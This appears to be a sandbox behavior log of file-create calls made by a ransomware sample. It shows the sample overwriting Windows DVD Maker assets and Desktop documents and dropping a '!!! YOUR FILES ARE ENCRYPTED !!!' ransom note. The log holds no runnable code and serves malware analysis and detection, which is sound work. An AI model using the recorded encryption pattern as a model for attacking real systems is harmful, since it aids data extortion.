Create C:\Program Files\DVD Maker\Shared\DvdStyles\shadowonlyframe_buttongraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\shadowonlyframe_selectionsubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\IZq0VqclNsC-3.ppt desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\shadowonlyframe_videoinset.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\WhiteDot.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\babyblue.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\BabyBoyMainBackground.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\BabyBoyMainBackground_PAL.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\BabyBoyMainToNotesBackground.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\BabyBoyMainToNotesBackground_PAL.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\BabyBoyMainToScenesBackground.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Jcp9TJtkRvhrTh.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\BabyBoyMainToScenesBackground_PAL.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\BabyBoyNotesBackground.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\BabyBoyNotesBackground_PAL.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\BabyBoyScenesBackground.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\BabyBoyScenesBackground_PAL.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\LightBlueRectangle.PNG desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\MainMenuButtonIcon.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\navSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\K9oCAOY.odt desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\nav_leftarrow.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\nav_rightarrow.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\nav_uparrow.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\16_9-frame-background.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\16_9-frame-highlight.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\16_9-frame-image-mask.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\M3Z9-oIHB.pps desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\babypink.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\background.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\bear_formatted_matte2.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\Bear_Formatted_MATTE2_PAL.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\bear_formatted_rgb6.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\Bear_Formatted_RGB6_PAL.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\btn-back-static.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\btn-next-static.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\btn-previous-static.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\button-highlight.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\ocsI3awyiL.flv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\chapters-static.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\content-background.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\content-foreground.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\curtains.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\flower_precomp_matte.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\flower_PreComp_MATTE_PAL.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\flower_trans_matte.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\flower_trans_MATTE_PAL.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\rkHGdxl1tL.ppt desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\flower_trans_rgb.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\flower_trans_RGB_PAL.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\highlight.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\mainimage-mask.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\notes-static.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\play-static.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\VNxddPAeY.mp4 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\FlipPage\1047x576black.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\FlipPage\203x8subpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\FlipPage\NavigationLeft_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\FlipPage\NavigationLeft_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\FlipPage\NavigationRight_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\FlipPage\NavigationRight_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\FlipPage\NavigationUp_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\wyZyk.xlsx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\FlipPage\NavigationUp_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\FlipPage\pagecurl.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Full\1047x576black.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Full\15x15dot.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Full\dotsdarkoverlay.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Full\dotslightoverlay.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Full\full.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\xJLRq.swf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Full\NavigationLeft_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Full\NavigationLeft_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Full\NavigationRight_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Full\NavigationRight_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Full\NavigationUp_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Full\NavigationUp_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Full\pushplaysubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\ZE_K1dS8xjHpmiyyaBHQ.odp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\1047x576black.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\15x15dot.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\colorcycle.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\huemainsubpicture2.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\NavigationLeft_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\NavigationLeft_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\NavigationRight_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\NavigationRight_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\NavigationUp_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\NavigationUp_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\ZGKGhFU.jpg desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\title_stripe.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\LayeredTitles\1047x576black.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\LayeredTitles\203x8subpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\LayeredTitles\blackbars60.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\LayeredTitles\layers.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\LayeredTitles\NavigationLeft_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\LayeredTitles\NavigationLeft_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\2-DznvM2CBIeSJpacfhT.gif desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\LayeredTitles\NavigationRight_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\LayeredTitles\NavigationRight_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\LayeredTitles\NavigationUp_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\LayeredTitles\NavigationUp_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\16_9-frame-background.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\16_9-frame-highlight.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\16_9-frame-image-mask.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\GiJ7o9ydiQxJQU i.gif desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\16_9-frame-overlay.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\background.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\btn-back-static.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\btn-next-static.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\btn-previous-static.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\button-highlight.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\button-overlay.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\Memories_buttonClear.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\Notes_btn-back-static.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\MPtDDaiXphqphSQ0Mg.wav desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\Notes_content-background.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\scrapbook.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\Title_content-background.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\Title_mainImage-mask.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\Title_select-highlight.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\OldAge\1047x576black.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\OldAge\15x15dot.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\OldAge\decorative_rule.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\noUnaAH9k.flv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\oI0yJGXKm.mkv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\OldAge\NavigationLeft_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\OldAge\NavigationLeft_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\OldAge\NavigationRight_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\OldAge\NavigationRight_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\OldAge\NavigationUp_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\OldAge\NavigationUp_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\rMegkA86B_mfsKq.wav desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\OldAge\vintage.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\720x480blacksquare.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\NextMenuButtonIcon.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\NextMenuButtonIconSubpictur.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\Notes_loop.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\Notes_loop_PAL.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\ParentMenuButtonIcon.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\ParentMenuButtonIconSubpict.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
